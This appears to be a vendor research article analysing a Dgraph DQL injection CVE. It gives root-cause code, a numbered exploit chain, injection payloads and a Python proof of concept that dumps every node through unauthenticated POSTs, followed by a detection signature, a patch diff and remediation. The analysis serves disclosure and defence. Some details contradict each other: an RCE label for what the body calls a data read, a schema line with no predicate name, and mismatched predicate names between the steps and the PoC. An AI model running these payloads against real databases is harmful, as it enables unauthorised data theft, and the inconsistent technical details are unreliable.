home intel cve-2026-41328-dgraph-dql-injection-rce
CVE Analysis 2026-04-24 · 8 min read

CVE-2026-41328: DQL Injection in Dgraph Exposes Full Database Read

Dgraph's addQueryIfUnique constructs DQL queries via fmt.Sprintf with unsanitized language-tag input, enabling unauthenticated full database read via two HTTP POSTs to port 8080.

#authentication-bypass#graphql-injection#information-disclosure#unauthenticated-access#schema-manipulation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41328 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41328Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41328 is a critical (CVSS 9.1) DQL injection vulnerability in Dgraph, an open-source distributed GraphQL database. The vulnerability exists in Dgraph's default configuration, where ACL is disabled, and requires no credentials to exploit. Two unauthenticated HTTP POST requests to port 8080 are sufficient to read every predicate and value in the database. The bug was patched in version 25.3.3.

The attack surface is Dgraph's /alter and /mutate HTTP endpoints, both exposed without authentication in the default configuration. The injection point is the language tag position of a JSON mutation key — a field position that Dgraph's mutation parser passes directly into a fmt.Sprintf-constructed DQL query string without sanitization.

Root cause: addQueryIfUnique in edgraph/server.go constructs DQL query strings using fmt.Sprintf with an attacker-controlled predicateName that includes the raw language tag from the JSON mutation key, enabling full DQL injection.

Affected Component

The vulnerable code path lives in edgraph/server.go, function addQueryIfUnique. It is triggered when a mutation arrives for a predicate carrying both @unique and @index(exact) directives in the schema. The mutation JSON key format "predicateName@langTag" is parsed by Dgraph's NQuad/JSON mutation layer, which splits on @ to extract the language tag. That raw tag — never validated — is forwarded into query construction.

Affected versions: all Dgraph releases prior to 25.3.3 running with default configuration (ACL disabled).

Root Cause Analysis

When a JSON mutation key contains an @ character, Dgraph treats the suffix as a BCP-47 language tag for the predicate value. The mutation processing pipeline extracts this tag and passes it — along with the predicate name — to addQueryIfUnique, which is responsible for enforcing the @unique constraint by first querying for existing matching values before committing the mutation.

// edgraph/server.go — simplified Go pseudocode
// BUG: predicateName is constructed as "name@langTag" where langTag is
//      attacker-controlled and never sanitized before fmt.Sprintf insertion.

func addQueryIfUnique(gmuList []*gql.Mutation, queryVar string, predicateName string, val string) string {
    // predicateName arrives as e.g. "name@en" or "name@"
    // BUG: no validation of predicateName contents — injected DQL accepted verbatim
    q := fmt.Sprintf(`
        {
            %s(func: eq(%s, %q)) {
                uid
            }
        }`, queryVar, predicateName, val)  // BUG: predicateName injected into DQL query body
    return q
}

The injection lands inside the func: argument position of the generated DQL query. Because DQL is a full graph query language supporting filters, cascades, and multiple query blocks, an attacker who controls predicateName can close the current query block and append arbitrary DQL — including has() scans over every predicate in the database.

NORMAL QUERY (benign input "name@en"):
{
    q_0(func: eq(name@en, "alice")) {
        uid
    }
}

INJECTED QUERY (malicious lang tag: `en)) { uid } victims(func: has(secret_key`):
{
    q_0(func: eq(name@en)) { uid } victims(func: has(secret_key, "PAYLOAD")) {
        uid
    }
}

FULL EXFILTRATION PAYLOAD (lang tag closes block, opens unrestricted expand query):
{
    q_0(func: eq(name@en)) { uid }
    dump(func: has(dgraph.type)) {
        expand(_all_)
    }
}

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies Dgraph instance on port 8080 (default, no auth required).

2. POST /alter — register a schema predicate with @unique @index(exact) @lang:
      Content-Type: application/rdf
      Body: : string @unique @index(exact) @lang .

3. POST /mutate?commitNow=true — send crafted JSON mutation where the JSON key
   encodes the injection payload in the language tag position:

      {
        "set": [{
          "name@en)) { uid }\ndump(func: has(dgraph.type)) {\nexpand(_all_)\n}//": "trigger"
        }]
      }

4. Dgraph mutation parser splits the JSON key on '@', producing:
      predicateName = "name"
      langTag       = "en)) { uid }\ndump(func: has(dgraph.type)) {\nexpand(_all_)\n}//"

5. addQueryIfUnique constructs the DQL string via fmt.Sprintf, embedding the
   raw langTag — the injected DQL executes as part of the uniqueness check query.

6. Dgraph evaluates the multi-block DQL query. The injected "dump" block
   returns ALL nodes of ALL types with ALL predicates expanded.

7. The full query response is returned to the attacker in the HTTP response body
   as JSON — zero post-processing required.

IMPACT: Full unauthenticated read of every uid, predicate, and value in the database.

The following Python proof-of-concept reproduces the full read in two requests:

#!/usr/bin/env python3
# CVE-2026-41328 — Dgraph DQL Injection PoC
# Tested against Dgraph < 25.3.3 (default config, ACL disabled)

import requests
import json

TARGET = "http://127.0.0.1:8080"

# Step 1: Register schema predicate with @unique @index(exact) @lang
schema_payload = ": string @unique @index(exact) @lang ."
r = requests.post(f"{TARGET}/alter", data=schema_payload)
assert r.status_code == 200, f"Schema alter failed: {r.text}"
print("[+] Schema registered")

# Step 2: Craft injection in the language tag position of the JSON mutation key
# The lang tag closes the DQL block and appends an unrestricted expand query
injection_lang = (
    'en)) { uid }\n'
    'dump(func: has(dgraph.type)) {\n'
    '    expand(_all_)\n'
    '}// '
)
mutation_key = f"pwn@{injection_lang}"

mutation = {
    "set": [
        {mutation_key: "trigger_value"}
    ]
}

r = requests.post(
    f"{TARGET}/mutate?commitNow=true",
    headers={"Content-Type": "application/json"},
    data=json.dumps(mutation)
)

print("[+] Injection response:")
try:
    data = r.json()
    # The injected 'dump' block appears in query extensions/data
    print(json.dumps(data, indent=2))
except Exception:
    print(r.text)

Memory Layout

This is a logic/injection vulnerability rather than a memory corruption bug, so no heap corruption occurs. The relevant runtime state is the DQL query string assembled in memory before being dispatched to the query executor. Illustrating the string buffer state makes the injection boundary concrete:

DQL QUERY BUFFER — BEFORE INJECTION (benign "name@en"):
Offset  Content
0x0000  "{\n    q_0(func: eq("
0x0014  "name@en"               <-- predicate + lang tag (controlled by attacker)
0x001b  ", \"alice\")) {\n        uid\n    }\n}"

DQL QUERY BUFFER — AFTER INJECTION (malicious lang tag):
Offset  Content
0x0000  "{\n    q_0(func: eq("
0x0014  "name@en)) { uid }\n"  <-- closes first query block (injected)
0x0027  "dump(func: has(dgraph.type)) {\n"  <-- opens unrestricted second block
0x0046  "    expand(_all_)\n"  <-- returns ALL predicates for ALL nodes
0x0056  "}// "                 <-- comments out remainder of fmt.Sprintf output
0x005a  ", \"trigger_value\")) {\n    uid\n}\n}"  <-- now commented out / unreachable

QUERY EXECUTOR receives a valid multi-block DQL document.
Both blocks execute. "dump" block result included in HTTP response JSON.

Patch Analysis

The fix in Dgraph 25.3.3 introduces sanitization of the language tag before it reaches addQueryIfUnique. The patch validates the tag against a strict BCP-47 allowlist (alphanumeric plus hyphen only) and rejects mutations whose language tags contain any other characters. Separately, the query construction was updated to treat the predicate name and language tag as distinct, individually-validated components rather than a single concatenated string.

// BEFORE (vulnerable — edgraph/server.go, Dgraph < 25.3.3):
func addQueryIfUnique(gmuList []*gql.Mutation, queryVar string,
                      predicateName string, val string) string {
    // predicateName = "name@" — no validation
    q := fmt.Sprintf(`
        {
            %s(func: eq(%s, %q)) {
                uid
            }
        }`, queryVar, predicateName, val)  // BUG: raw predicateName injected
    return q
}

// AFTER (patched — Dgraph 25.3.3):
var validLangTag = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)

func sanitizePredicateWithLang(predicate string, lang string) (string, error) {
    // Validate lang tag strictly — reject anything not matching BCP-47 subset
    if lang != "" && !validLangTag.MatchString(lang) {
        return "", fmt.Errorf("invalid language tag %q: contains disallowed characters", lang)
    }
    if lang != "" {
        return predicate + "@" + lang, nil
    }
    return predicate, nil
}

func addQueryIfUnique(gmuList []*gql.Mutation, queryVar string,
                      predicate string, lang string, val string) string {
    // lang is now a separately-passed, pre-validated field
    safePredicate, err := sanitizePredicateWithLang(predicate, lang)
    if err != nil {
        return ""  // caller rejects the mutation with 400
    }
    q := fmt.Sprintf(`
        {
            %s(func: eq(%s, %q)) {
                uid
            }
        }`, queryVar, safePredicate, val)  // safePredicate is now guaranteed clean
    return q
}

The signature change — splitting the combined predicateName string into discrete predicate and lang parameters — is the structurally important part of the fix. It eliminates the implicit trust in the caller's concatenation and enforces validation at the boundary where the language tag enters the system.

Detection and Indicators

Exploitation leaves clear traces in Dgraph's HTTP access logs. Detection logic should key on:

  • POST to /alter setting a schema predicate with @unique, @index(exact), and @lang in combination — this is legitimate but rare; combined with the following indicator it becomes high-confidence.
  • POST to /mutate where the request body JSON keys contain @ followed by characters outside [a-zA-Z0-9\-] — specifically ), {, }, \n, or // in the lang tag position.
  • Dgraph query responses containing unexpected top-level keys (e.g. "dump", "exfil", etc.) alongside the standard mutation acknowledgement fields.
  • Anomalously large HTTP response bodies from /mutate — a successful full-database read will return the entire node corpus in the response JSON.
SNORT/SURICATA SIGNATURE (conceptual):
alert http any any -> any 8080 (
    msg:"CVE-2026-41328 Dgraph DQL Injection Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/mutate";
    http.request_body;
    pcre:"/\"[^\"]+@[^\"]*[(){}\n][^\"]*\"\s*:/";
    classtype:web-application-attack;
    sid:2026413280;
    rev:1;
)

Remediation

  • Upgrade immediately to Dgraph 25.3.3 or later. This is the only complete fix.
  • Enable ACL (--acl flag) on all Dgraph instances. ACL requires authentication for both /alter and /mutate, blocking unauthenticated exploitation entirely regardless of patch status.
  • Network-layer restriction: firewall port 8080 (HTTP API) and 9080 (gRPC) to trusted sources only. These ports should never be publicly reachable in production.
  • Audit existing logs for the two-request pattern described above. If exploitation is suspected, treat the entire database contents as compromised and rotate all application secrets stored therein.
  • If immediate upgrade is impossible, a WAF rule blocking HTTP request bodies where JSON string keys contain @ followed by non-alphanumeric-hyphen characters can serve as a temporary mitigation for the /mutate endpoint.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →